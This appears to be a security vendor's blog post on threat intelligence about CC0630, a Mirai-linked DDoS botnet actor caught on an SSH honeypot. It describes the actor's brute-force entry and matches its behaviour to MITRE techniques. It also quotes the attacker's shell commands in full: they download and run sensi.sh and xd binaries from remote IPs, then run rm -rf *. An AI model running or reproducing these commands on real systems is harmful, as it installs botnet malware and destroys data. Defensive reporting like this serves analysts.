Over the past year, our team has been working at gathering intel on new and unusual threat actors to augment the capabilities of our platform. Using our deception technology, we have detected several new threat actors in the wild that can be considered part of Internet noise (automated attacks that typically run constantly). We will be sharing the IOCs and TTPs of different threat actors we have uncovered, so be sure to check our blog weekly or follow us on LinkedIn for updates.
We gathered this intel by locating a decoy machine in a well-known provider, with an SSH port open to the outside network, we have found many attackers that approach the machine and try to access it, oftentimes with sheer brute force. By giving the machine a deliberately weak username and password, we were able to allow attackers an easy way in, after which we could observe their behaviors and TTPs. See some of the previous threat actors we’ve uncovered here.
Read on about the next CC we’ve found and are tracking: CC0630.This actor uses DDoS botnet command-and-control servers to compromise and manage other servers, giving orders to start DDoS attacks. It is part of the Mirai botnet, and there are multiple resources on the Internet that describe its different versions.
Target sectors: Any host
Overview: The goal of CC0630 is to install a software to control the compromised server from a DDoS botnet command-and-control server and then start creating connections to carry out DDoS attacks.
CC0630 uses brute force attacks as its initial compromise method.
Once they obtain a valid authentication, they download a script called sensi.sh and they execute it. This script starts downloading and executing files with the same name (xd) but with a different extension (files compiled for different architectures).
Finally they listen in on a port to receive orders from an old-school IRC channel DDoS botnet command and control server where they start creating connections to different servers over the Internet to perform a DDoS attack.
MITRE ATT&CK Techniques
MITRE ATT&CK PIC WITH MATCHED TTPs
Command and Scripting Interpreter – Unix Shell (T1059.004): attackers abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh…) depending on the specific distribution.
Network Service Scanning (T1046): attackers attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Standard Application Layer Protocol (T1071): attackers communicate using a common standardized application layer protocol such as HTTP, HTTPS, SMPT, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and the server.
Indicator Removal on Host – File Deletion (T1070.004): attackers delete files left behind by the actions of their intrusion activity. Malware, tools. Or other non-native files dropped or created on a system by an adversary may leave traces to indicate what was done within a network and how.
Network Denial Of service – Reflection Amplification (T1498.002): attackers cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://18.104.22.168/sensi.sh; curl -O http://22.214.171.124/sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp 126.96.36.199 -c get sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp -r sensi2.sh -g 188.8.131.52; chmod 777 sensi2.sh; sh sensi2.sh; ftpget -v -u anonymous -p anonymous -P 21 184.108.40.206 sensi1.sh sensi1.sh; sh sensi1.sh; rm -rf sensi.sh sensi.sh sensi2.sh sensi1.sh; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://220.127.116.11/d/xd.x86; curl -O http://18.104.22.168/d/xd.x86;cat xd.x86 >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://22.214.171.124/d/xd.mips; curl -O http://126.96.36.199/d/xd.mips;cat xd.mips >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://188.8.131.52/d/xd.mpsl; curl -O http://184.108.40.206/d/xd.mpsl;cat xd.mpsl >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://220.127.116.11/d/xd.arm4; curl -O http://18.104.22.168/d/xd.arm4;cat xd.arm4 >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://22.214.171.124/d/xd.arm5; curl -O http://126.96.36.199/d/xd.arm5;cat xd.arm5 >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://188.8.131.52/d/xd.arm6; curl -O http://184.108.40.206/d/xd.arm6;cat xd.arm6 >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://220.127.116.11/d/xd.arm7; curl -O http://18.104.22.168/d/xd.arm7;cat xd.arm7 >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://22.214.171.124/d/xd.ppc; curl -O http://126.96.36.199d/xd.ppc;cat xd.ppc >SSH;chmod +x *;./SSH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://188.8.131.52/d/xd.m68k; curl -O http://184.108.40.206/d/xd.m68k;cat xd.m68k >SSH;chmod +x *;./SSH
We hope you find this threat intelligence relevant and timely. It allows us to update threat actor intel for our platform, so that all of our clients can benefit from the knowledge. This information can also be shared with red and blue teams so they know what malwares and attackers are compromising machines.
Follow these links to read about the other threat actors we’ve uncovered using our deception-powered threat intel: